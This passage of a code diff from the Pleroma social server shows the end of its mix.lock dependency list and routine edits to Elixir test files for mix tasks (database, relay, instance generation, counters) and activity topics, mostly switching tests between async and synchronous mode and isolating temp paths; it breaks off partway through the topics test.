	"postgrex": {:hex, :postgrex, "0.15.6", "a464c72010a56e3214fe2b99c1a76faab4c2bb0255cabdef30dea763a3569aa2", [:mix], [{:connection, "~> 1.0", [hex: :connection, repo: "hexpm", optional: false]}, {:db_connection, "~> 2.1", [hex: :db_connection, repo: "hexpm", optional: false]}, {:decimal, "~> 1.5 or ~> 2.0", [hex: :decimal, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}], "hexpm", "f99268325ac8f66ffd6c4964faab9e70fbf721234ab2ad238c00f9530b8cdd55"},
	"pot": {:hex, :pot, "0.11.0", "61bad869a94534739dd4614a25a619bc5c47b9970e9a0ea5bef4628036fc7a16", [:rebar3], [], "hexpm", "57ee6ee6bdeb639661ffafb9acefe3c8f966e45394de6a766813bb9e1be4e54b"},
	"prometheus": {:hex, :prometheus, "4.6.0", "20510f381db1ccab818b4cf2fac5fa6ab5cc91bc364a154399901c001465f46f", [:mix, :rebar3], [], "hexpm", "4905fd2992f8038eccd7aa0cd22f40637ed618c0bed1f75c05aacec15b7545de"},
	"prometheus_ecto": {:hex, :prometheus_ecto, "1.4.3", "3dd4da1812b8e0dbee81ea58bb3b62ed7588f2eae0c9e97e434c46807ff82311", [:mix], [{:ecto, "~> 2.0 or ~> 3.0", [hex: :ecto, repo: "hexpm", optional: false]}, {:prometheus_ex, "~> 1.1 or ~> 2.0 or ~> 3.0", [hex: :prometheus_ex, repo: "hexpm", optional: false]}], "hexpm", "8d66289f77f913b37eda81fd287340c17e61a447549deb28efc254532b2bed82"},
	"prometheus_ex": {:git, "https://git.pleroma.social/pleroma/elixir-libraries/prometheus.ex.git", "a4e9beb3c1c479d14b352fd9d6dd7b1f6d7deee5", [ref: "a4e9beb3c1c479d14b352fd9d6dd7b1f6d7deee5"]},
	"prometheus_phoenix": {:hex, :prometheus_phoenix, "1.3.0", "c4b527e0b3a9ef1af26bdcfbfad3998f37795b9185d475ca610fe4388fdd3bb5", [:mix], [{:phoenix, "~> 1.4", [hex: :phoenix, repo: "hexpm", optional: false]}, {:prometheus_ex, "~> 1.3 or ~> 2.0 or ~> 3.0", [hex: :prometheus_ex, repo: "hexpm", optional: false]}], "hexpm", "c4d1404ac4e9d3d963da601db2a7d8ea31194f0017057fabf0cfb9bf5a6c8c75"},
	"prometheus_phx": {:git, "https://git.pleroma.social/pleroma/elixir-libraries/prometheus-phx.git", "9cd8f248c9381ffedc799905050abce194a97514", [branch: "no-logging"]},
	"prometheus_plugs": {:hex, :prometheus_plugs, "1.1.5", "25933d48f8af3a5941dd7b621c889749894d8a1082a6ff7c67cc99dec26377c5", [:mix], [{:accept, "~> 0.1", [hex: :accept, repo: "hexpm", optional: false]}, {:plug, "~> 1.0", [hex: :plug, repo: "hexpm", optional: false]}, {:prometheus_ex, "~> 1.1 or ~> 2.0 or ~> 3.0", [hex: :prometheus_ex, repo: "hexpm", optional: false]}, {:prometheus_process_collector, "~> 1.1", [hex: :prometheus_process_collector, repo: "hexpm", optional: true]}], "hexpm", "0273a6483ccb936d79ca19b0ab629aef0dba958697c94782bb728b920dfc6a79"},
	"quack": {:hex, :quack, "0.1.1", "cca7b4da1a233757fdb44b3334fce80c94785b3ad5a602053b7a002b5a8967bf", [:mix], [{:poison, ">= 1.0.0", [hex: :poison, repo: "hexpm", optional: false]}, {:tesla, "~> 1.2.0", [hex: :tesla, repo: "hexpm", optional: false]}], "hexpm", "d736bfa7444112eb840027bb887832a0e403a4a3437f48028c3b29a2dbbd2543"},
	"ranch": {:hex, :ranch, "1.7.1", "6b1fab51b49196860b733a49c07604465a47bdb78aa10c1c16a3d199f7f8c881", [:rebar3], [], "hexpm", "451d8527787df716d99dc36162fca05934915db0b6141bbdac2ea8d3c7afc7d7"},
	"recon": {:hex, :recon, "2.5.1", "430ffa60685ac1efdfb1fe4c97b8767c92d0d92e6e7c3e8621559ba77598678a", [:mix, :rebar3], [], "hexpm", "5721c6b6d50122d8f68cccac712caa1231f97894bab779eff5ff0f886cb44648"},
	"remote_ip": {:git, "https://git.pleroma.social/pleroma/remote_ip.git", "b647d0deecaa3acb140854fe4bda5b7e1dc6d1c8", [ref: "b647d0deecaa3acb140854fe4bda5b7e1dc6d1c8"]},
	"sleeplocks": {:hex, :sleeplocks, "1.1.1", "3d462a0639a6ef36cc75d6038b7393ae537ab394641beb59830a1b8271faeed3", [:rebar3], [], "hexpm", "84ee37aeff4d0d92b290fff986d6a95ac5eedf9b383fadfd1d88e9b84a1c02e1"},
	"ssl_verify_fun": {:git, "https://github.com/deadtrickster/ssl_verify_fun.erl", "c5718226b0b9f3d1a38ef6ca3c3b4c75f53dda92", [tag: "1.1.4"]},
	"sweet_xml": {:hex, :sweet_xml, "0.6.6", "fc3e91ec5dd7c787b6195757fbcf0abc670cee1e4172687b45183032221b66b8", [:mix], [], "hexpm", "2e1ec458f892ffa81f9f8386e3f35a1af6db7a7a37748a64478f13163a1f3573"},
	"swoosh": {:hex, :swoosh, "1.0.6", "6765e334c67dacabe721f0d701c7e5a6f06e4595c90df6f91e73ebd54d555833", [:mix], [{:cowboy, "~> 1.1 or ~> 2.4", [hex: :cowboy, repo: "hexpm", optional: true]}, {:gen_smtp, "~> 0.13 or ~> 1.0", [hex: :gen_smtp, repo: "hexpm", optional: true]}, {:hackney, "~> 1.9", [hex: :hackney, repo: "hexpm", optional: true]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}, {:mail, "~> 0.2", [hex: :mail, repo: "hexpm", optional: true]}, {:mime, "~> 1.1", [hex: :mime, repo: "hexpm", optional: false]}, {:plug_cowboy, ">= 1.0.0", [hex: :plug_cowboy, repo: "hexpm", optional: true]}], "hexpm", "7c50ef78e4acfd1cbd4907dc1fa87b5540675a6be9dc979d04890f49d7ec1830"},
	"syslog": {:hex, :syslog, "1.1.0", "6419a232bea84f07b56dc575225007ffe34d9fdc91abe6f1b2f254fd71d8efc2", [:rebar3], [], "hexpm", "4c6a41373c7e20587be33ef841d3de6f3beba08519809329ecc4d27b15b659e1"},
	"telemetry": {:hex, :telemetry, "0.4.2", "2808c992455e08d6177322f14d3bdb6b625fbcfd233a73505870d8738a2f4599", [:rebar3], [], "hexpm", "2d1419bd9dda6a206d7b5852179511722e2b18812310d304620c7bd92a13fcef"},
	"tesla": {:hex, :tesla, "1.4.0", "1081bef0124b8bdec1c3d330bbe91956648fb008cf0d3950a369cda466a31a87", [:mix], [{:castore, "~> 0.1", [hex: :castore, repo: "hexpm", optional: true]}, {:exjsx, ">= 3.0.0", [hex: :exjsx, repo: "hexpm", optional: true]}, {:finch, "~> 0.3", [hex: :finch, repo: "hexpm", optional: true]}, {:fuse, "~> 2.4", [hex: :fuse, repo: "hexpm", optional: true]}, {:gun, "~> 1.3", [hex: :gun, repo: "hexpm", optional: true]}, {:hackney, "~> 1.6", [hex: :hackney, repo: "hexpm", optional: true]}, {:ibrowse, "~> 4.4.0", [hex: :ibrowse, repo: "hexpm", optional: true]}, {:jason, ">= 1.0.0", [hex: :jason, repo: "hexpm", optional: true]}, {:mime, "~> 1.0", [hex: :mime, repo: "hexpm", optional: false]}, {:mint, "~> 1.0", [hex: :mint, repo: "hexpm", optional: true]}, {:poison, ">= 1.0.0", [hex: :poison, repo: "hexpm", optional: true]}, {:telemetry, "~> 0.4", [hex: :telemetry, repo: "hexpm", optional: true]}], "hexpm", "bf1374a5569f5fca8e641363b63f7347d680d91388880979a33bc12a6eb3e0aa"},
	"timex": {:hex, :timex, "3.6.2", "845cdeb6119e2fef10751c0b247b6c59d86d78554c83f78db612e3290f819bc2", [:mix], [{:combine, "~> 0.10", [hex: :combine, repo: "hexpm", optional: false]}, {:gettext, "~> 0.10", [hex: :gettext, repo: "hexpm", optional: false]}, {:tzdata, "~> 0.1.8 or ~> 0.5 or ~> 1.0.0", [hex: :tzdata, repo: "hexpm", optional: false]}], "hexpm", "26030b46199d02a590be61c2394b37ea25a3664c02fafbeca0b24c972025d47a"},
	"trailing_format_plug": {:hex, :trailing_format_plug, "0.0.7", "64b877f912cf7273bed03379936df39894149e35137ac9509117e59866e10e45", [:mix], [{:plug, "> 0.12.0", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "bd4fde4c15f3e993a999e019d64347489b91b7a9096af68b2bdadd192afa693f"},
	"tzdata": {:hex, :tzdata, "1.0.4", "a3baa4709ea8dba552dca165af6ae97c624a2d6ac14bd265165eaa8e8af94af6", [:mix], [{:hackney, "~> 1.0", [hex: :hackney, repo: "hexpm", optional: false]}], "hexpm", "b02637db3df1fd66dd2d3c4f194a81633d0e4b44308d36c1b2fdfd1e4e6f169b"},
	"ueberauth": {:hex, :ueberauth, "0.6.3", "d42ace28b870e8072cf30e32e385579c57b9cc96ec74fa1f30f30da9c14f3cc0", [:mix], [{:plug, "~> 1.5", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "afc293d8a1140d6591b53e3eaf415ca92842cb1d32fad3c450c6f045f7f91b60"},
	"unicode_util_compat": {:git, "https://github.com/benoitc/unicode_util_compat.git", "38d7bc105f51159e8ea3279c40121db9db1e652f", [tag: "0.3.1"]},
	"unsafe": {:hex, :unsafe, "1.0.1", "a27e1874f72ee49312e0a9ec2e0b27924214a05e3ddac90e91727bc76f8613d8", [:mix], [], "hexpm", "6c7729a2d214806450d29766abc2afaa7a2cbecf415be64f36a6691afebb50e5"},
	"web_push_encryption": {:hex, :web_push_encryption, "0.3.0", "598b5135e696fd1404dc8d0d7c0fa2c027244a4e5d5e5a98ba267f14fdeaabc8", [:mix], [{:httpoison, "~> 1.0", [hex: :httpoison, repo: "hexpm", optional: false]}, {:jose, "~> 1.8", [hex: :jose, repo: "hexpm", optional: false]}], "hexpm", "f10bdd1afe527ede694749fb77a2f22f146a51b054c7fa541c9fd920fba7c875"},
	"websocket_client": {:git, "https://github.com/jeremyong/websocket_client.git", "9a6f65d05ebf2725d62fb19262b21f1805a59fbf", []},
	}
	diff --git a/test/mix/tasks/pleroma/count_statuses_test.exs b/test/mix/tasks/pleroma/count_statuses_test.exs
	index c5cd16960..8fe3959ea 100644
	--- a/test/mix/tasks/pleroma/count_statuses_test.exs
	+++ b/test/mix/tasks/pleroma/count_statuses_test.exs
	@@ -1,39 +1,40 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Mix.Tasks.Pleroma.CountStatusesTest do
	+ # Uses log capture, has to stay synchronous
	use Pleroma.DataCase

	alias Pleroma.User
	alias Pleroma.Web.CommonAPI

	import ExUnit.CaptureIO, only: [capture_io: 1]
	import Pleroma.Factory

	test "counts statuses" do
	user = insert(:user)
	{:ok, _} = CommonAPI.post(user, %{status: "test"})
	{:ok, _} = CommonAPI.post(user, %{status: "test2"})

	user2 = insert(:user)
	{:ok, _} = CommonAPI.post(user2, %{status: "test3"})

	user = refresh_record(user)
	user2 = refresh_record(user2)

	assert %{note_count: 2} = user
	assert %{note_count: 1} = user2

	{:ok, user} = User.update_note_count(user, 0)
	{:ok, user2} = User.update_note_count(user2, 0)

	assert %{note_count: 0} = user
	assert %{note_count: 0} = user2

	assert capture_io(fn -> Mix.Tasks.Pleroma.CountStatuses.run([]) end) == "Done\n"

	assert %{note_count: 2} = refresh_record(user)
	assert %{note_count: 1} = refresh_record(user2)
	end
	end
	diff --git a/test/mix/tasks/pleroma/database_test.exs b/test/mix/tasks/pleroma/database_test.exs
	index cf28576b5..eefb12426 100644
	--- a/test/mix/tasks/pleroma/database_test.exs
	+++ b/test/mix/tasks/pleroma/database_test.exs
	@@ -1,176 +1,176 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Mix.Tasks.Pleroma.DatabaseTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	use Oban.Testing, repo: Pleroma.Repo

	alias Pleroma.Activity
	alias Pleroma.Object
	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.Web.CommonAPI

	import Pleroma.Factory

	setup_all do
	Mix.shell(Mix.Shell.Process)

	on_exit(fn ->
	Mix.shell(Mix.Shell.IO)
	end)

	:ok
	end

	describe "running remove_embedded_objects" do
	test "it replaces objects with references" do
	user = insert(:user)
	{:ok, activity} = CommonAPI.post(user, %{status: "test"})
	new_data = Map.put(activity.data, "object", activity.object.data)

	{:ok, activity} =
	activity
	\|> Activity.change(%{data: new_data})
	\|> Repo.update()

	assert is_map(activity.data["object"])

	Mix.Tasks.Pleroma.Database.run(["remove_embedded_objects"])

	activity = Activity.get_by_id_with_object(activity.id)
	assert is_binary(activity.data["object"])
	end
	end

	describe "prune_objects" do
	test "it prunes old objects from the database" do
	insert(:note)
	deadline = Pleroma.Config.get([:instance, :remote_post_retention_days]) + 1

	date =
	Timex.now()
	\|> Timex.shift(days: -deadline)
	\|> Timex.to_naive_datetime()
	\|> NaiveDateTime.truncate(:second)

	%{id: id} =
	:note
	\|> insert()
	\|> Ecto.Changeset.change(%{inserted_at: date})
	\|> Repo.update!()

	assert length(Repo.all(Object)) == 2

	Mix.Tasks.Pleroma.Database.run(["prune_objects"])

	assert length(Repo.all(Object)) == 1
	refute Object.get_by_id(id)
	end
	end

	describe "running update_users_following_followers_counts" do
	test "following and followers count are updated" do
	[user, user2] = insert_pair(:user)
	{:ok, %User{} = user, _user2} = User.follow(user, user2)

	following = User.following(user)

	assert length(following) == 2
	assert user.follower_count == 0

	{:ok, user} =
	user
	\|> Ecto.Changeset.change(%{follower_count: 3})
	\|> Repo.update()

	assert user.follower_count == 3

	assert {:ok, :ok} ==
	Mix.Tasks.Pleroma.Database.run(["update_users_following_followers_counts"])

	user = User.get_by_id(user.id)

	assert length(User.following(user)) == 2
	assert user.follower_count == 0
	end
	end

	describe "running fix_likes_collections" do
	test "it turns OrderedCollection likes into empty arrays" do
	[user, user2] = insert_pair(:user)

	{:ok, %{id: id, object: object}} = CommonAPI.post(user, %{status: "test"})
	{:ok, %{object: object2}} = CommonAPI.post(user, %{status: "test test"})

	CommonAPI.favorite(user2, id)

	likes = %{
	"first" =>
	"http://mastodon.example.org/objects/dbdbc507-52c8-490d-9b7c-1e1d52e5c132/likes?page=1",
	"id" => "http://mastodon.example.org/objects/dbdbc507-52c8-490d-9b7c-1e1d52e5c132/likes",
	"totalItems" => 3,
	"type" => "OrderedCollection"
	}

	new_data = Map.put(object2.data, "likes", likes)

	object2
	\|> Ecto.Changeset.change(%{data: new_data})
	\|> Repo.update()

	assert length(Object.get_by_id(object.id).data["likes"]) == 1
	assert is_map(Object.get_by_id(object2.id).data["likes"])

	assert :ok == Mix.Tasks.Pleroma.Database.run(["fix_likes_collections"])

	assert length(Object.get_by_id(object.id).data["likes"]) == 1
	assert Enum.empty?(Object.get_by_id(object2.id).data["likes"])
	end
	end

	describe "ensure_expiration" do
	test "it adds to expiration old statuses" do
	activity1 = insert(:note_activity)

	{:ok, inserted_at, 0} = DateTime.from_iso8601("2015-01-23T23:50:07Z")
	activity2 = insert(:note_activity, %{inserted_at: inserted_at})

	%{id: activity_id3} = insert(:note_activity)

	expires_at = DateTime.add(DateTime.utc_now(), 60 * 61)

	Pleroma.Workers.PurgeExpiredActivity.enqueue(%{
	activity_id: activity_id3,
	expires_at: expires_at
	})

	Mix.Tasks.Pleroma.Database.run(["ensure_expiration"])

	assert_enqueued(
	worker: Pleroma.Workers.PurgeExpiredActivity,
	args: %{activity_id: activity1.id},
	scheduled_at:
	activity1.inserted_at
	\|> DateTime.from_naive!("Etc/UTC")
	\|> Timex.shift(days: 365)
	)

	assert_enqueued(
	worker: Pleroma.Workers.PurgeExpiredActivity,
	args: %{activity_id: activity2.id},
	scheduled_at:
	activity2.inserted_at
	\|> DateTime.from_naive!("Etc/UTC")
	\|> Timex.shift(days: 365)
	)

	assert_enqueued(
	worker: Pleroma.Workers.PurgeExpiredActivity,
	args: %{activity_id: activity_id3},
	scheduled_at: expires_at
	)
	end
	end
	end
	diff --git a/test/mix/tasks/pleroma/ecto/migrate_test.exs b/test/mix/tasks/pleroma/ecto/migrate_test.exs
	index 43df176a1..548357508 100644
	--- a/test/mix/tasks/pleroma/ecto/migrate_test.exs
	+++ b/test/mix/tasks/pleroma/ecto/migrate_test.exs
	@@ -1,20 +1,20 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-onl

	defmodule Mix.Tasks.Pleroma.Ecto.MigrateTest do
	- use Pleroma.DataCase, async: true
	+ use Pleroma.DataCase
	import ExUnit.CaptureLog
	require Logger

	test "ecto.migrate info message" do
	level = Logger.level()
	Logger.configure(level: :warn)

	assert capture_log(fn ->
	Mix.Tasks.Pleroma.Ecto.Migrate.run()
	end) =~ "[info] Already up"

	Logger.configure(level: level)
	end
	end
	diff --git a/test/mix/tasks/pleroma/ecto/rollback_test.exs b/test/mix/tasks/pleroma/ecto/rollback_test.exs
	index 0236e35d5..9e39db8fa 100644
	--- a/test/mix/tasks/pleroma/ecto/rollback_test.exs
	+++ b/test/mix/tasks/pleroma/ecto/rollback_test.exs
	@@ -1,20 +1,20 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Mix.Tasks.Pleroma.Ecto.RollbackTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	import ExUnit.CaptureLog
	require Logger

	test "ecto.rollback info message" do
	level = Logger.level()
	Logger.configure(level: :warn)

	assert capture_log(fn ->
	Mix.Tasks.Pleroma.Ecto.Rollback.run()
	end) =~ "[info] Rollback succesfully"

	Logger.configure(level: level)
	end
	end
	diff --git a/test/mix/tasks/pleroma/instance_test.exs b/test/mix/tasks/pleroma/instance_test.exs
	index 6580fc932..1d2dde108 100644
	--- a/test/mix/tasks/pleroma/instance_test.exs
	+++ b/test/mix/tasks/pleroma/instance_test.exs
	@@ -1,99 +1,102 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Mix.Tasks.Pleroma.InstanceTest do
	- use ExUnit.Case
	+ # Modifies the Application Environment, has to stay synchronous.
	+ use Pleroma.DataCase

	setup do
	File.mkdir_p!(tmp_path())

	on_exit(fn ->
	File.rm_rf(tmp_path())
	static_dir = Pleroma.Config.get([:instance, :static_dir], "test/instance_static/")

	if File.exists?(static_dir) do
	File.rm_rf(Path.join(static_dir, "robots.txt"))
	end
	-
	- Pleroma.Config.put([:instance, :static_dir], static_dir)
	end)

	+ # Is being modified by the mix task.
	+ clear_config([:instance, :static_dir])
	+
	:ok
	end

	+ @uuid Ecto.UUID.generate()
	defp tmp_path do
	- "/tmp/generated_files/"
	+ "/tmp/generated_files/#{@uuid}/"
	end

	test "running gen" do
	mix_task = fn ->
	Mix.Tasks.Pleroma.Instance.run([
	"gen",
	"--output",
	tmp_path() <> "generated_config.exs",
	"--output-psql",
	tmp_path() <> "setup.psql",
	"--domain",
	"test.pleroma.social",
	"--instance-name",
	"Pleroma",
	"--admin-email",
	"admin@example.com",
	"--notify-email",
	"notify@example.com",
	"--dbhost",
	"dbhost",
	"--dbname",
	"dbname",
	"--dbuser",
	"dbuser",
	"--dbpass",
	"dbpass",
	"--indexable",
	"y",
	"--db-configurable",
	"y",
	"--rum",
	"y",
	"--listen-port",
	"4000",
	"--listen-ip",
	"127.0.0.1",
	"--uploads-dir",
	"test/uploads",
	"--static-dir",
	"./test/../test/instance/static/",
	"--strip-uploads",
	"y",
	"--dedupe-uploads",
	"n",
	"--anonymize-uploads",
	"n"
	])
	end

	ExUnit.CaptureIO.capture_io(fn ->
	mix_task.()
	end)

	generated_config = File.read!(tmp_path() <> "generated_config.exs")
	assert generated_config =~ "host: \"test.pleroma.social\""
	assert generated_config =~ "name: \"Pleroma\""
	assert generated_config =~ "email: \"admin@example.com\""
	assert generated_config =~ "notify_email: \"notify@example.com\""
	assert generated_config =~ "hostname: \"dbhost\""
	assert generated_config =~ "database: \"dbname\""
	assert generated_config =~ "username: \"dbuser\""
	assert generated_config =~ "password: \"dbpass\""
	assert generated_config =~ "configurable_from_database: true"
	assert generated_config =~ "http: [ip: {127, 0, 0, 1}, port: 4000]"
	assert generated_config =~ "filters: [Pleroma.Upload.Filter.Exiftool]"
	assert File.read!(tmp_path() <> "setup.psql") == generated_setup_psql()
	assert File.exists?(Path.expand("./test/instance/static/robots.txt"))
	end

	defp generated_setup_psql do
	~s(CREATE USER dbuser WITH ENCRYPTED PASSWORD 'dbpass';\nCREATE DATABASE dbname OWNER dbuser;\n\\c dbname;\n--Extensions made by ecto.migrate that need superuser access\nCREATE EXTENSION IF NOT EXISTS citext;\nCREATE EXTENSION IF NOT EXISTS pg_trgm;\nCREATE EXTENSION IF NOT EXISTS \"uuid-ossp\";\nCREATE EXTENSION IF NOT EXISTS rum;\n)
	end
	end
	diff --git a/test/mix/tasks/pleroma/refresh_counter_cache_test.exs b/test/mix/tasks/pleroma/refresh_counter_cache_test.exs
	index 6a1a9ac17..e79dc0632 100644
	--- a/test/mix/tasks/pleroma/refresh_counter_cache_test.exs
	+++ b/test/mix/tasks/pleroma/refresh_counter_cache_test.exs
	@@ -1,43 +1,44 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Mix.Tasks.Pleroma.RefreshCounterCacheTest do
	+ # Uses log capture, has to stay synchronous
	use Pleroma.DataCase
	alias Pleroma.Web.CommonAPI
	import ExUnit.CaptureIO, only: [capture_io: 1]
	import Pleroma.Factory

	test "counts statuses" do
	user = insert(:user)
	other_user = insert(:user)

	CommonAPI.post(user, %{visibility: "public", status: "hey"})

	Enum.each(0..1, fn _ ->
	CommonAPI.post(user, %{
	visibility: "unlisted",
	status: "hey"
	})
	end)

	Enum.each(0..2, fn _ ->
	CommonAPI.post(user, %{
	visibility: "direct",
	status: "hey @#{other_user.nickname}"
	})
	end)

	Enum.each(0..3, fn _ ->
	CommonAPI.post(user, %{
	visibility: "private",
	status: "hey"
	})
	end)

	assert capture_io(fn -> Mix.Tasks.Pleroma.RefreshCounterCache.run([]) end) =~ "Done\n"

	assert %{"direct" => 3, "private" => 4, "public" => 1, "unlisted" => 2} =
	Pleroma.Stats.get_status_visibility_count()
	end
	end
	diff --git a/test/mix/tasks/pleroma/relay_test.exs b/test/mix/tasks/pleroma/relay_test.exs
	index cf48e7dda..b453ed1c6 100644
	--- a/test/mix/tasks/pleroma/relay_test.exs
	+++ b/test/mix/tasks/pleroma/relay_test.exs
	@@ -1,180 +1,180 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Mix.Tasks.Pleroma.RelayTest do
	alias Pleroma.Activity
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.ActivityPub.Relay
	alias Pleroma.Web.ActivityPub.Utils
	use Pleroma.DataCase

	import Pleroma.Factory

	setup_all do
	Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)

	Mix.shell(Mix.Shell.Process)

	on_exit(fn ->
	Mix.shell(Mix.Shell.IO)
	end)

	:ok
	end

	describe "running follow" do
	test "relay is followed" do
	target_instance = "http://mastodon.example.org/users/admin"

	Mix.Tasks.Pleroma.Relay.run(["follow", target_instance])

	local_user = Relay.get_actor()
	assert local_user.ap_id =~ "/relay"

	target_user = User.get_cached_by_ap_id(target_instance)
	refute target_user.local

	activity = Utils.fetch_latest_follow(local_user, target_user)
	assert activity.data["type"] == "Follow"
	assert activity.data["actor"] == local_user.ap_id
	assert activity.data["object"] == target_user.ap_id

	:ok = Mix.Tasks.Pleroma.Relay.run(["list"])

	assert_receive {:mix_shell, :info,
	[
	"http://mastodon.example.org/users/admin - no Accept received (relay didn't follow back)"
	]}
	end
	end

	describe "running unfollow" do
	test "relay is unfollowed" do
	user = insert(:user)
	target_instance = user.ap_id

	Mix.Tasks.Pleroma.Relay.run(["follow", target_instance])

	%User{ap_id: follower_id} = local_user = Relay.get_actor()
	target_user = User.get_cached_by_ap_id(target_instance)
	follow_activity = Utils.fetch_latest_follow(local_user, target_user)
	User.follow(local_user, target_user)
	assert "#{target_instance}/followers" in User.following(local_user)
	Mix.Tasks.Pleroma.Relay.run(["unfollow", target_instance])

	cancelled_activity = Activity.get_by_ap_id(follow_activity.data["id"])
	assert cancelled_activity.data["state"] == "cancelled"

	[undo_activity] =
	ActivityPub.fetch_activities([], %{
	type: "Undo",
	actor_id: follower_id,
	limit: 1,
	skip_preload: true,
	invisible_actors: true
	})

	assert undo_activity.data["type"] == "Undo"
	assert undo_activity.data["actor"] == local_user.ap_id
	assert undo_activity.data["object"]["id"] == cancelled_activity.data["id"]
	refute "#{target_instance}/followers" in User.following(local_user)
	end

	test "unfollow when relay is dead" do
	user = insert(:user)
	target_instance = user.ap_id

	Mix.Tasks.Pleroma.Relay.run(["follow", target_instance])

	%User{ap_id: follower_id} = local_user = Relay.get_actor()
	target_user = User.get_cached_by_ap_id(target_instance)
	follow_activity = Utils.fetch_latest_follow(local_user, target_user)
	User.follow(local_user, target_user)

	assert "#{target_instance}/followers" in User.following(local_user)

	Tesla.Mock.mock(fn %{method: :get, url: ^target_instance} ->
	%Tesla.Env{status: 404}
	end)

	Pleroma.Repo.delete(user)
	- Cachex.clear(:user_cache)
	+ User.invalidate_cache(user)

	Mix.Tasks.Pleroma.Relay.run(["unfollow", target_instance])

	cancelled_activity = Activity.get_by_ap_id(follow_activity.data["id"])
	assert cancelled_activity.data["state"] == "accept"

	assert [] ==
	ActivityPub.fetch_activities(
	[],
	%{
	type: "Undo",
	actor_id: follower_id,
	skip_preload: true,
	invisible_actors: true
	}
	)
	end

	test "force unfollow when relay is dead" do
	user = insert(:user)
	target_instance = user.ap_id

	Mix.Tasks.Pleroma.Relay.run(["follow", target_instance])

	%User{ap_id: follower_id} = local_user = Relay.get_actor()
	target_user = User.get_cached_by_ap_id(target_instance)
	follow_activity = Utils.fetch_latest_follow(local_user, target_user)
	User.follow(local_user, target_user)

	assert "#{target_instance}/followers" in User.following(local_user)

	Tesla.Mock.mock(fn %{method: :get, url: ^target_instance} ->
	%Tesla.Env{status: 404}
	end)

	Pleroma.Repo.delete(user)
	- Cachex.clear(:user_cache)
	+ User.invalidate_cache(user)

	Mix.Tasks.Pleroma.Relay.run(["unfollow", target_instance, "--force"])

	cancelled_activity = Activity.get_by_ap_id(follow_activity.data["id"])
	assert cancelled_activity.data["state"] == "cancelled"

	[undo_activity] =
	ActivityPub.fetch_activities(
	[],
	%{type: "Undo", actor_id: follower_id, skip_preload: true, invisible_actors: true}
	)

	assert undo_activity.data["type"] == "Undo"
	assert undo_activity.data["actor"] == local_user.ap_id
	assert undo_activity.data["object"]["id"] == cancelled_activity.data["id"]
	refute "#{target_instance}/followers" in User.following(local_user)
	end
	end

	describe "mix pleroma.relay list" do
	test "Prints relay subscription list" do
	:ok = Mix.Tasks.Pleroma.Relay.run(["list"])

	refute_receive {:mix_shell, :info, _}

	relay_user = Relay.get_actor()

	["http://mastodon.example.org/users/admin", "https://mstdn.io/users/mayuutann"]
	\|> Enum.each(fn ap_id ->
	{:ok, user} = User.get_or_fetch_by_ap_id(ap_id)
	User.follow(relay_user, user)
	end)

	:ok = Mix.Tasks.Pleroma.Relay.run(["list"])

	assert_receive {:mix_shell, :info, ["https://mstdn.io/users/mayuutann"]}
	assert_receive {:mix_shell, :info, ["http://mastodon.example.org/users/admin"]}
	end
	end
	end
	diff --git a/test/pleroma/activity/ir/topics_test.exs b/test/pleroma/activity/ir/topics_test.exs
	index 5e5c2f8da..b464822d9 100644
	--- a/test/pleroma/activity/ir/topics_test.exs
	+++ b/test/pleroma/activity/ir/topics_test.exs
	@@ -1,166 +1,166 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Activity.Ir.TopicsTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.Activity
	alias Pleroma.Activity.Ir.Topics
	alias Pleroma.Object

	require Pleroma.Constants

	describe "poll answer" do
	test "produce no topics" do
	activity = %Activity{object: %Object{data: %{"type" => "Answer"}}}

	assert [] == Topics.get_activity_topics(activity)
	end
	end

	describe "non poll answer" do
	test "always add user and list topics" do
	activity = %Activity{object: %Object{data: %{"type" => "FooBar"}}}
	topics = Topics.get_activity_topics(activity)

	assert Enum.member?(topics, "user")
	assert Enum.member?(topics, "list")
	end
	end

	describe "public visibility" do
	setup do
	activity = %Activity{
	object: %Object{data: %{"type" => "Note"}},
	data: %{"to" => [Pleroma.Constants.as_public()]}
	}

	{:ok, activity: activity}
	end

	test "produces public topic", %{activity: activity} do
	topics = Topics.get_activity_topics(activity)

	assert Enum.member?(topics, "public")
	end

	test "local action produces public:local topic", %{activity: activity} do
	activity = %{activity \| local: true}
	topics = Topics.get_activity_topics(activity)

	assert Enum.member?(topics, "public:local")
	end

	test "non-local action does not produce public:local topic", %{activity: activity} do
	activity = %{activity \| local: false}
	topics = Topics.get_activity_topics(activity)

	refute Enum.member?(topics, "public:local")
	end
	end

	describe "public visibility create events" do
	setup do
	activity = %Activity{
	object: %Object{data: %{"attachment" => []}},
